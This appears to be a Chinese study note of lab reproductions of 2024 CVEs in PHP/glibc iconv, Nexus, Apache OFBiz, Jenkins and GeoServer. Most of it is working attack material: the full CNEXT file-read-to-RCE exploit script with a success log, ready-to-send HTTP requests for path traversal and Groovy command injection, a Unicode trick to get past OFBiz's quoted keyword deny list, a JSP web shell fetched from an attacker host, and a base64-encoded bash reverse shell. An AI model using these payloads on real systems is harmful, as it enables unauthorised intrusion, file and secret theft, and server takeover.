紧急备考

PHP利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961)

GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。

如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用iconv()的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。

按照要求配置好环境,下载exp:

#!/usr/bin/env python3 # # CNEXT: PHP file-read to RCE (CVE-2024-2961) # Date: 2024-05-27 # Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS) # # TODO Parse LIBC to know if patched # # INFORMATIONS # # To use, implement the Remote class, which tells the exploit how to send the payload. # from __future__ import annotations import base64 import zlib from dataclasses import dataclass from requests.exceptions import ConnectionError, ChunkedEncodingError from pwn import * from ten import * HEAP_SIZE = 2 * 1024 * 1024 BUG = "劄".encode("utf-8") class Remote: """A helper class to send the payload and download files. The logic of the exploit is always the same, but the exploit needs to know how to download files (/proc/self/maps and libc) and how to send the payload. The code here serves as an example that attacks a page that looks like: ```php None: self.url = url self.session = Session() def send(self, path: str) -> Response: """Sends given `path` to the HTTP server. Returns the response. """ return self.session.post(self.url, data={"file": path}) def download(self, path: str) -> bytes: """Returns the contents of a remote file. """ path = f"php://filter/convert.base64-encode/resource={path}" response = self.send(path) data = response.re.search(b"File contents: (.*)", flags=re.S).group(1) return base64.decode(data) @entry @arg("url", "Target URL") @arg("command", "Command to run on the system; limited to 0x140 bytes") @arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.") @arg("heap", "Address of the main zend_mm_heap structure.") @arg( "pad", "Number of 0x100 chunks to pad with. If the website makes a lot of heap " "operations with this size, increase this. Defaults to 20.", ) @dataclass class Exploit: """CNEXT exploit: RCE using a file read primitive in PHP.""" url: str command: str sleep: int = 1 heap: str = None pad: int = 20 def __post_init__(self): self.remote = Remote(self.url) self.log = logger("EXPLOIT") self.info = {} self.heap = self.heap and int(self.heap, 16) def check_vulnerable(self) -> None: """Checks whether the target is reachable and properly allows for the various wrappers and filters that the exploit needs. """ def safe_download(path: str) -> bytes: try: return self.remote.download(path) except ConnectionError: failure("Target not [b]reachable[/] ?") def check_token(text: str, path: str) -> bool: result = safe_download(path) return text.encode() == result text = tf.random.string(50).encode() base64 = b64(text, misalign=True).decode() path = f"data:text/plain;base64,{base64}" result = safe_download(path) if text not in result: msg_failure("Remote.download did not return the test string") print("--------------------") print(f"Expected test string: {text}") print(f"Got: {result}") print("--------------------") failure("If your code works fine, it means that the [i]data://[/] wrapper does not work") msg_info("The [i]data://[/] wrapper works") text = tf.random.string(50) base64 = b64(text.encode(), misalign=True).decode() path = f"php://filter//resource=data:text/plain;base64,{base64}" if not check_token(text, path): failure("The [i]php://filter/[/] wrapper does not work") msg_info("The [i]php://filter/[/] wrapper works") text = tf.random.string(50) base64 = b64(compress(text.encode()), misalign=True).decode() path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}" if not check_token(text, path): failure("The [i]zlib[/] extension is not enabled") msg_info("The [i]zlib[/] extension is enabled") msg_success("Exploit preconditions are satisfied") def get_file(self, path: str) -> bytes: with msg_status(f"Downloading [i]{path}[/]..."): return self.remote.download(path) def get_regions(self) -> list[Region]: """Obtains the memory regions of the PHP process by querying /proc/self/maps.""" maps = self.get_file("/proc/self/maps") maps = maps.decode() PATTERN = re.compile( r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)" ) regions = [] for region in table.split(maps, strip=True): if match := PATTERN.match(region): start = int(match.group(1), 16) stop = int(match.group(2), 16) permissions = match.group(3) path = match.group(4) if "/" in path or "[" in path: path = path.rsplit(" ", 1)[-1] else: path = "" current = Region(start, stop, permissions, path) regions.append(current) else: print(maps) failure("Unable to parse memory mappings") self.log.info(f"Got {len(regions)} memory regions") return regions def get_symbols_and_addresses(self) -> None: """Obtains useful symbols and addresses from the file read primitive.""" regions = self.get_regions() LIBC_FILE = "/dev/shm/cnext-libc" # PHP's heap self.info["heap"] = self.heap or self.find_main_heap(regions) # Libc libc = self._get_region(regions, "libc-", "libc.so") self.download_file(libc.path, LIBC_FILE) self.info["libc"] = ELF(LIBC_FILE, checksec=False) self.info["libc"].address = libc.start def _get_region(self, regions: list[Region], *names: str) -> Region: """Returns the first region whose name matches one of the given names.""" for region in regions: if any(name in region.path for name in names): break else: failure("Unable to locate region") return region def download_file(self, remote_path: str, local_path: str) -> None: """Downloads `remote_path` to `local_path`""" data = self.get_file(remote_path) Path(local_path).write(data) def find_main_heap(self, regions: list[Region]) -> Region: # Any anonymous RW region with a size superior to the base heap size is a # candidate. The heap is at the bottom of the region. heaps = [ region.stop - HEAP_SIZE + 0x40 for region in reversed(regions) if region.permissions == "rw-p" and region.size >= HEAP_SIZE and region.stop & (HEAP_SIZE-1) == 0 and region.path in ("", "[anon:zend_alloc]") ] if not heaps: failure("Unable to find PHP's main heap in memory") first = heaps[0] if len(heaps) > 1: heaps = ", ".join(map(hex, heaps)) msg_info(f"Potential heaps: [i]{heaps}[/] (using first)") else: msg_info(f"Using [i]{hex(first)}[/] as heap") return first def run(self) -> None: self.check_vulnerable() self.get_symbols_and_addresses() self.exploit() def build_exploit_path(self) -> str: """On each step of the exploit, a filter will process each chunk one after the other. Processing generally involves making some kind of operation either on the chunk or in a destination chunk of the same size. Each operation is applied on every single chunk; you cannot make PHP apply iconv on the first 10 chunks and leave the rest in place. That's where the difficulties come from. Keep in mind that we know the address of the main heap, and the libraries. ASLR/PIE do not matter here. The idea is to use the bug to make the freelist for chunks of size 0x100 point lower. For instance, we have the following free list: ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00 By triggering the bug from chunk ..900, we get: ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ??? That's step 3. Now, in order to control the free list, and make it point whereever we want, we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so, we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48. That's step 2. Now, if we were to perform step2 an then step3 without anything else, we'd have a problem: after step2 has been processed, the free list goes bottom-up, like: 0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900 We need to go the other way around. That's why we have step 1: it just allocates chunks. When they get freed, they reverse the free list. Now step2 allocates in reverse order, and therefore after step2, chunks are in the correct order. Another problem comes up. To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT. Since step2 creates chunks that contain pointers and pointers are generally not UTF-8, we cannot afford to have that conversion happen on the chunks of step2. To avoid this, we put the chunks in step2 at the very end of the chain, and prefix them with `0\n`. When dechunked (right before the iconv), they will "disappear" from the chain, preserving them from the character set conversion and saving us from an unwanted processing error that would stop the processing chain. After step3 we have a corrupted freelist with an arbitrary pointer into it. We don't know the precise layout of the heap, but we know that at the top of the heap resides a zend_mm_heap structure. We overwrite this structure in two ways. Its free_slot[] array contains a pointer to each free list. By overwriting it, we can make PHP allocate chunks whereever we want. In addition, its custom_heap field contains pointers to hook functions for emalloc, efree, and erealloc (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and then overwrite the use_custom_heap flag to make PHP use these function pointers instead. We can now do our favorite CTF technique and get a call to system(). We make sure that the "system" command kills the current process to avoid other system() calls with random chunk data, leading to undefined behaviour. The pad blocks just "pad" our allocations so that even if the heap of the process is in a random state, we still get contiguous, in order chunks for our exploit. Therefore, the whole process described here CANNOT crash. Everything falls perfectly in place, and nothing can get in the middle of our allocations. """ LIBC = self.info["libc"] ADDR_EMALLOC = LIBC.symbols["__libc_malloc"] ADDR_EFREE = LIBC.symbols["__libc_system"] ADDR_EREALLOC = LIBC.symbols["__libc_realloc"] ADDR_HEAP = self.info["heap"] ADDR_FREE_SLOT = ADDR_HEAP + 0x20 ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168 ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10 CS = 0x100 # Pad needs to stay at size 0x100 at every step pad_size = CS - 0x18 pad = b"\x00" * pad_size pad = chunked_chunk(pad, len(pad) + 6) pad = chunked_chunk(pad, len(pad) + 6) pad = chunked_chunk(pad, len(pad) + 6) pad = compressed_bucket(pad) step1_size = 1 step1 = b"\x00" * step1_size step1 = chunked_chunk(step1) step1 = chunked_chunk(step1) step1 = chunked_chunk(step1, CS) step1 = compressed_bucket(step1) # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash" step2_size = 0x48 step2 = b"\x00" * (step2_size + 8) step2 = chunked_chunk(step2, CS) step2 = chunked_chunk(step2) step2 = compressed_bucket(step2) step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN) step2_write_ptr = chunked_chunk(step2_write_ptr, CS) step2_write_ptr = chunked_chunk(step2_write_ptr) step2_write_ptr = compressed_bucket(step2_write_ptr) step3_size = CS step3 = b"\x00" * step3_size assert len(step3) == CS step3 = chunked_chunk(step3) step3 = chunked_chunk(step3) step3 = chunked_chunk(step3) step3 = compressed_bucket(step3) step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG assert len(step3_overflow) == CS step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = compressed_bucket(step3_overflow) step4_size = CS step4 = b"=00" + b"\x00" * (step4_size - 1) step4 = chunked_chunk(step4) step4 = chunked_chunk(step4) step4 = chunked_chunk(step4) step4 = compressed_bucket(step4) # This chunk will eventually overwrite mm_heap->free_slot # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values step4_pwn = ptr_bucket( 0x200000, 0, # free_slot 0, 0, ADDR_CUSTOM_HEAP, # 0x18 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ADDR_HEAP, # 0x140 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, size=CS, ) step4_custom_heap = ptr_bucket( ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18 ) step4_use_custom_heap_size = 0x140 COMMAND = self.command COMMAND = f"kill -9 $PPID; {COMMAND}" if self.sleep: COMMAND = f"sleep {self.sleep}; {COMMAND}" COMMAND = COMMAND.encode() + b"\x00" assert ( len(COMMAND) <= step4_use_custom_heap_size ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}" COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00") step4_use_custom_heap = COMMAND step4_use_custom_heap = qpe(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = compressed_bucket(step4_use_custom_heap) pages = ( step4 * 3 + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + pad * self.pad + step1 * 3 + step2_write_ptr + step2 * 2 ) resource = compress(compress(pages)) resource = b64(resource) resource = f"data:text/plain;base64,{resource.decode()}" filters = [ # Create buckets "zlib.inflate", "zlib.inflate", # Step 0: Setup heap "dechunk", "convert.iconv.L1.L1", # Step 1: Reverse FL order "dechunk", "convert.iconv.L1.L1", # Step 2: Put fake pointer and make FL order back to normal "dechunk", "convert.iconv.L1.L1", # Step 3: Trigger overflow "dechunk", "convert.iconv.UTF-8.ISO-2022-CN-EXT", # Step 4: Allocate at arbitrary address and change zend_mm_heap "convert.quoted-printable-decode", "convert.iconv.L1.L1", ] filters = "|".join(filters) path = f"php://filter/read={filters}/resource={resource}" return path @inform("Triggering...") def exploit(self) -> None: path = self.build_exploit_path() start = time.time() try: self.remote.send(path) except (ConnectionError, ChunkedEncodingError): pass msg_print() if not self.sleep: msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]") elif start + self.sleep <= time.time(): msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]") else: # Wrong heap, maybe? If the exploited suggested others, use them! msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]") msg_print() def compress(data) -> bytes: """Returns data suitable for `zlib.inflate`. """ # Remove 2-byte header and 4-byte checksum return zlib.compress(data, 9)[2:-4] def b64(data: bytes, misalign=True) -> bytes: payload = base64.encode(data) if not misalign and payload.endswith("="): raise ValueError(f"Misaligned: {data}") return payload.encode() def compressed_bucket(data: bytes) -> bytes: """Returns a chunk of size 0x8000 that, when dechunked, returns the data.""" return chunked_chunk(data, 0x8000) def qpe(data: bytes) -> bytes: """Emulates quoted-printable-encode. """ return "".join(f"={x:02x}" for x in data).upper().encode() def ptr_bucket(*ptrs, size=None) -> bytes: """Creates a 0x8000 chunk that reveals pointers after every step has been ran.""" if size is not None: assert len(ptrs) * 8 == size bucket = b"".join(map(p64, ptrs)) bucket = qpe(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) bucket = compressed_bucket(bucket) return bucket def chunked_chunk(data: bytes, size: int = None) -> bytes: """Constructs a chunked representation of the given chunk. If size is given, the chunked representation has size `size`. For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`. """ # The caller does not care about the size: let's just add 8, which is more than # enough if size is None: size = len(data) + 8 keep = len(data) + len(b"\n\n") size = f"{len(data):x}".rjust(size - keep, "0") return size.encode() + b"\n" + data + b"\n" @dataclass class Region: """A memory region.""" start: int stop: int permissions: str path: str @property def size(self) -> int: return self.stop - self.start Exploit()
└─# python exp.py http://127.0.0.1:8080/index.php "echo '<?=phpinfo();?>' > shell.php"

[*] The data:// wrapper works
[*] The php://filter/ wrapper works
[*] The zlib extension is enabled
[+] Exploit preconditions are satisfied
[*] Using 0x7fcdcb800040 as heap

     EXPLOIT  SUCCESS 

访问shell.php复现成功

Nexus Repository Manager 3 未授权目录穿越漏洞(CVE-2024-4956)

Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。

其3.68.0及之前版本中,存在一处目录穿越漏洞。攻击者可以利用该漏洞读取服务器上任意文件。

与Orange Tsai在Blackhat US 2018分享的SpringMVC CVE-2018-1271漏洞类似,Jetty的URIUtil.canonicalPath()函数也将空字符串认为是一个合法目录,导致了该漏洞的产生:

img

这玩意儿运行在8081端口,界面:

img

poc

GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0

/etc/passwd被成功读取

Apache OFBiz 身份验证绕过导致远程代码执行 (CVE-2024-38856)

Apache OFBiz 是一个开源的企业资源规划(ERP)系统。它提供了一套企业应用程序,用于集成和自动化企业的许多业务流程。

这个漏洞是由于对 CVE-2023-51467 的不完全修复而产生的。在 Apache OFBiz 18.12.11 版本中,开发人员认为他们已经修复了该漏洞,但实际上他们只解决了其中一种利用方法。Groovy 表达式注入仍然存在,允许未经授权的用户在服务器上执行任意命令。

访问https://localhost:8443/accounting查看到登录页面,说明环境已启动成功。

image-20241119001325262

poc

POST /webtools/control/main/ProgramExport HTTP/1.1
Host: localhost:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDbR7sY3IIwQX7kcJ
Content-Length: 190

------WebKitFormBoundaryDbR7sY3IIwQX7kcJ
Content-Disposition: form-data; name="groovyProgram"

throw new Exception('id'.\u0065xecute().text);
------WebKitFormBoundaryDbR7sY3IIwQX7kcJ--

成功rce

值得注意的是,Apache Ofbiz限制了如下一些关键词的使用,我们可以通过Unicode编码来绕过这个限制,比如\u0065xecute

deniedWebShellTokens=java.,beans,freemarker,<script,javascript,<body,body ,<form,<jsp:,<c:out,taglib,<prefix,<%@ page,<?php,exec(,alert(,\
                     %eval,@eval,eval(,runtime,import,passthru,shell_exec,assert,str_rot13,system,decode,include,page ,\
                     chmod,mkdir,fopen,fclose,new file,upload,getfilename,download,getoutputstring,readfile,iframe,object,embed,onload,build,\
                     python,perl ,/perl,ruby ,/ruby,process,function,class,InputStream,to_server,wget ,static,assign,webappPath,\
                     ifconfig,route,crontab,netstat,uname ,hostname,iptables,whoami,"cmd",*cmd|,+cmd|,=cmd|,localhost,thread,require,gzdeflate,\
                     execute,println,calc,touch,calculate

附php的Unicode加解码:

1. 将字符转换为 Unicode 编码 要将普通字符串转换为 Unicode 转义序列(如 \u0065),可以使用以下方法: php 复制代码 function unicode_encode($str) { $encoded = ''; for ($i = 0; $i < mb_strlen($str, 'UTF-8'); $i++) { $char = mb_substr($str, $i, 1, 'UTF-8'); $code = unpack('N', mb_convert_encoding($char, 'UCS-4BE', 'UTF-8')); $encoded .= sprintf('\u%04x', $code[1]); } return $encoded; } echo unicode_encode("Hello"); // 输出 \u0048\u0065\u006c\u006c\u006f 2. 解码 Unicode 转义序列 将 Unicode 转义序列(如 \u0065)解码为普通字符串: php 复制代码 function unicode_decode($str) { return preg_replace_callback('/\\\\u([0-9a-fA-F]{4})/', function ($matches) { return mb_convert_encoding(pack('H*', $matches[1]), 'UTF-8', 'UCS-2BE'); }, $str); } echo unicode_decode("\u0048\u0065\u006c\u006c\u006f"); // 输出 Hello

Apache OFBiz 身份验证绕过导致远程代码执行(CVE-2024-45195)

Apache OFBiz是一个开源企业资源规划(ERP)系统。它提供了一套企业应用程序,集成并自动化企业的许多业务流程。

该漏洞是由于之前漏洞(CVE-2024-32113、CVE-2024-36104和CVE-2024-38856)未完全修复所导致。在Apache OFBiz版本18.12.16之前,开发人员对这些先前的问题进行了修复,但控制器视图地图状态不同步的根本问题仍然存在。这使得攻击者能够绕过身份验证并访问敏感的仅限管理员的视图地图。

在复现此漏洞之前,我们需要在自己控制的服务器上部署恶意XML文件和CSV文件。

第一个文件是rceschema.xml,此XML schema文件定义了恶意 JSP 的结构:

<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
        <record name="rceentry" limit="many">
            <field name="jsp" type="String" length="605" position="0"></field>
        </record>
    </data-file>
</data-files>

第二个文件是rcereport.csv,此CSV文件包含实际的JSP代码:

<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,

然后发送以下请求:

POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1
Host: target:8443
User-Agent: curl/7.81.0
Accept: */*
Content-Length: 241
Content-Type: application/x-www-form-urlencoded

DATAFILE_LOCATION=http://attacker/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://attacker/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce

该请求通过利用viewdatafile视图地图将恶意JSP文件写入Web根目录,从而利用了该漏洞实现远程代码执行。

在JSP webshell被写入后,通过https://localhost:8443/accounting/index.jsp?cmd=id即可执行任意命令

用这个包成功

POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1

Host: 127.0.0.1:8443

Cookie: JSESSIONID=179230503829DC0456EC9E91A591BCB7.jvm1; adminer_permanent=; adminer_sid=f5cccc54dc09d51108d8ea214ee1a1dc; adminer_key=8092110359b49587bb7ade16a8fe0fa7; adminer_version=4.8.1; NX-ANTI-CSRF-TOKEN=0.15829410785017417; OFBiz.Visitor=10000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

Te: trailers

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 371



DATAFILE_LOCATION=http://172.20.10.4:8000/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://172.20.10.4:8000/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce&DATAFILE_LOCATION=http://172.20.10.4:8000/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp

这里我环境中第一次DATAFILE_LOCATION=http://172.20.10.4:8000/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp总是会被吞掉,服务器也没有访问记录,第二个句子能执行,再在第二句之后加一遍发现都执行成功,但是第一句不知为什么不被执行

访问/accounting/index.jsp?cmd=idrce成功

CVE-2024-32113

ofbiz目录遍历致代码执行漏洞(CVE-2024-32113)分析 - 先知社区

**”../““;”**进行截断绕过filter处理

直接构造 18.12.14 及之前版本通杀的路径 payload,不需要进行目录遍历。

/webtools/control/ListTimezones/ProgramExport?
...
。。。
groovyProgram='calc.exe'.execute()       

18.12.13版本: 主要体现在将ListTimezones的 auth 改为 true,黑名单里增加execute关键字,ControlFilter.doFilter() 中校验了规范化前后的 url 是否一致,以此来判断 url 是否含有特殊字符。

18.12.14版本:
网上使用的 payload 是将.换为%2e或;来绕过 18.12.13 版本的修复代码,于是官方在 18.12.14 版本的 ControlFilter.doFilter() 中添加过滤了%2e和;,不过仍然没有修复到问题关键。

img

img

CVE-2024-36104

由于对HTTP请求URL中的特殊字符(如;、%2e)限制不当,威胁者可构造恶意请求利用该漏洞,成功利用可能导致远程代码执行。

Apache OFBiz < 18.12.14

POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
 
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

CVE-2024-38856

apache OFBiz 在处理 view 视图渲染的时候存在逻辑缺陷,未经身份验证的攻击者可通过构造特殊 URL 来覆盖最终的渲染视图,从而执行任意代码。

POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 127.0.0.1:8443
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 272
​
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

CVE-2023-51467

这个漏洞的原因是对于CVE-2023-49070的不完全修复。在Apache OFBiz 18.12.10版本中,官方移除了可能导致RCE漏洞的XMLRPC组件,但没有修复权限绕过问题。来自长亭科技的安全研究员枇杷哥利用这一点找到了另一个可以导致RCE的方法:Groovy表达式注入。

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xLzQ0MyAwPiYx}|{base64,-d}|{bash,-i}'.execute();

Apache OFBiz SSRF 和远程代码执行漏洞(CVE-2024-45507)

Apache OFBiz 18.12.16之前的版本存在一处SSRF与远程命令执行漏洞,未经身份验证的攻击者可以利用该漏洞执行任意命令并控制服务器。

SSRF漏洞

/webtools/control/forgotPassword/StatsSinceStart发送以下POST请求即可:

POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: your-ip:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

statsDecoratorLocation=http://192.168.91.148:8000

ssrf验证成功

在公共服务器上创建一个恶意的XML文件(payload.xml),例如

<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">

    <screen name="StatsDecorator">
        <section>
            <actions>
                <set value="${groovy:'touch /tmp/success'.execute();}"/>
            </actions>
        </section>
    </screen>
</screens>

然后将恶意XML的URL替换进请求中发送:

POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: your-ip:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

statsDecoratorLocation=http://192.168.91.148:8000/payload.xml

rce success

Jenkins CLI 接口任意文件读取漏洞(CVE-2024-23897)

enkins是一个开源的自动化服务器。

Jenkins使用args4j来解析命令行输入,并支持通过HTTP、Websocket等协议远程传入命令行参数。args4j中用户可以通过@字符来加载任意文件,这导致攻击者可以通过该特性来读取服务器上的任意文件。

该漏洞影响Jenkins 2.441及以前的版本。

利用该漏洞可以直接使用官方提供的命令行客户端,在http://localhost:8080/jnlpJars/jenkins-cli.jar下载。

使用该工具读取目标服务器的/proc/self/environ文件,可以找到Jenkins的基础目录,JENKINS_HOME=/var/jenkins_home

java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/proc/self/environ"

img

(匿名情况下,只能通过命令行的报错读取文件的第一行)

然后,可在该目录下读取敏感文件,如secrets.key or master.key

java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secret.key"

因为开启了“匿名用户可读”选项,你也可以直接使用connect-node命令读取完整文件内容:

java -jar jenkins-cli.jar -s http://localhost:8080/ -http connect-node "@/etc/passwd"

GeoServer 属性名表达式前台代码执行漏洞(CVE-2024-36401)

GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。

在GeoServer 2.25.1, 2.24.3, 2.23.5版本及以前,未登录的任意用户可以通过构造恶意OGC请求,在默认安装的服务器中执行XPath表达式,进而利用执行Apache Commons Jxpath提供的功能执行任意代码。

在官方漏洞通告中提到可以找到漏洞相关的WFS方法:

